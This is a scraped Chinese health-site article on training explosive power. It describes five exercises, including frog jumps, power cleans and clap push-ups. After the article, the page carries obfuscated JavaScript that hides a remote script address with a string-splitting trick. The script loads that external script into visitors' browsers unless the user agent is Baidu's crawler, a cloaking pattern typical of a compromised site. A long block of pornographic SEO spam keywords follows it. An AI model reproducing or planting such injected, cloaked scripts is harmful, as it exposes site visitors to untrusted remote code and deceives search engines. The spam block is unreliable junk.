當(dāng)前位置:首頁(yè) > 健康 > 運(yùn)動(dòng)健身 > 正文

鍛煉爆發(fā)力有效果嗎

2017-04-15 10:33:55  來(lái)源:360常識(shí)網(wǎng)   熱度:
導(dǎo)語(yǔ):很多人以為爆發(fā)力這種東西只是天生有的,后天怎么鍛煉怎么訓(xùn)練都達(dá)不到想要的效果。其實(shí)并不是這樣的,雖然天的爆發(fā)力是比較強(qiáng)的,但是后天

很多人以為爆發(fā)力這種東西只是天生有的,后天怎么鍛煉怎么訓(xùn)練都達(dá)不到想要的效果。其實(shí)并不是這樣的,雖然天的爆發(fā)力是比較強(qiáng)的,但是后天如果能夠堅(jiān)持訓(xùn)練也是可以達(dá)到預(yù)期效果的。需要的是恒心、毅力和耐力,并不是短時(shí)間的訓(xùn)練就可以的。下面,我們就一起來(lái)看看爆發(fā)力的訓(xùn)練吧!

1.

杠鈴/啞鈴平推:將杠鈴或啞鈴?fù)性谛厍芭c肩齊高(重量以自己無(wú)法進(jìn)行前平舉為準(zhǔn)),然后快速向體前推出,手臂伸直后主動(dòng)用力快速拉回,如此連續(xù)完成動(dòng)作。這個(gè)練習(xí)可以有效提高手臂和胸背部肌肉的爆發(fā)力,對(duì)出拳的速度和力量有很大好處。

2.

連續(xù)蛙跳:動(dòng)作大家都知道就不多說(shuō)了,關(guān)鍵點(diǎn)在于落地時(shí)完全蹲下,落下后起跳速度要快,做到連續(xù)兩個(gè)字,空中充分展開(kāi)身體,盡量往高往遠(yuǎn)跳,然后收腹團(tuán)身落地,也可以穿上沙背心等負(fù)重增加強(qiáng)度。這個(gè)練習(xí)可以快速提高腿部和腰腹部的爆發(fā)力。

3.

高翻:就是舉重運(yùn)動(dòng)員在完成挺舉時(shí)完成的從提起杠鈴到翻腕托到胸前的這個(gè)運(yùn)動(dòng)過(guò)程,翻起后快速放下,在杠鈴還沒(méi)落地時(shí)再次提起,如此反復(fù)進(jìn)行。這個(gè)動(dòng)作可以提高手臂和整個(gè)身體背部肌肉的爆發(fā)力,尤其對(duì)腰部的爆發(fā)力效果明顯。

4.

擊掌俯臥撐:俯臥撐大家都不陌生,只是在撐起時(shí)快速用力讓身體騰空,在落地之前完成擊掌動(dòng)作,可以從擊一次掌到兩次三次,不斷提高難度。我們?cè)?jiàn)一摔跤高手可以從俯臥撐姿勢(shì)直接推起到筆直站立,其爆發(fā)力之強(qiáng)由此可見(jiàn)。

5.

俯臥撐跳:這個(gè)動(dòng)作不是用手臂的力量而是腹肌的力量,方法為:俯臥撐姿勢(shì),腰部放松塌下,然后腹肌用力收縮,腰臀部向上拱,以此力量帶動(dòng)全身彈起,落地仍成俯臥撐姿勢(shì),如此反復(fù)練習(xí)。這個(gè)練習(xí)對(duì)腹胯部爆發(fā)力提高極有好處。

爆發(fā)力的訓(xùn)練也是比較艱苦的一個(gè)過(guò)程,并且任何事物都有一個(gè)變化的過(guò)程。只要能夠堅(jiān)持到最后,就會(huì)相信原來(lái)自己 是那么厲害。通過(guò)爆發(fā)力的訓(xùn)練,有時(shí)候就能夠在成敗的關(guān)鍵時(shí)刻取得勝利。另外,訓(xùn)練期間一定要早睡早起,養(yǎng)成好習(xí)慣。

轉(zhuǎn)載申明:360常識(shí)網(wǎng),歡迎分享,轉(zhuǎn)載請(qǐng)注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
亚洲精品无码久久久久AV麻豆| 亚洲精品二区国产综合野狼| 99精品热女视频专线| 九九九国产精品成人免费视频| 亚洲国产精品综合久久2007| 中日欧洲精品视频在线| 国产精品99亚发布| 亚洲精品天天影视综合网| chinese精品男同志浪小辉| 色妞ww精品视频7777| 亚洲国产综合精品中文字幕| 97久久精品无码一区二区 | 国产午夜亚洲精品不卡电影| 99久久精品国产亚洲| 中文字幕一区精品| 国产精品先锋资源站先锋影院| 无码人妻精品一区二区三区99仓本| 国产精品1024在线永久免费| 精品久久久BBBB人妻| 久久亚洲精品无码AV红樱桃| 91在线视频精品| 日韩精品无码久久一区二区三| 久久精品国产99久久久| 久视频精品免费观看99| 国产精品jizz视频| 香蕉在线精品一区二区| 一色屋精品视频任你曰| 嫩草影院精品视频在线观看| 精品国产a∨无码一区二区三区| 久久青草精品38国产| 亚洲日韩精品无码专区网址 | 国产精品亚洲а∨无码播放麻豆 | 国产午夜精品1区2区3福利| 精品国产性色无码AV网站| 国产成人精品天堂| 99热在线精品播放| 久久久91精品国产一区二区| 久久精品男人影院| 国产精品亚韩精品无码a在线| 国产精品免费久久久久电影网| 麻豆人妻少妇精品无码专区 |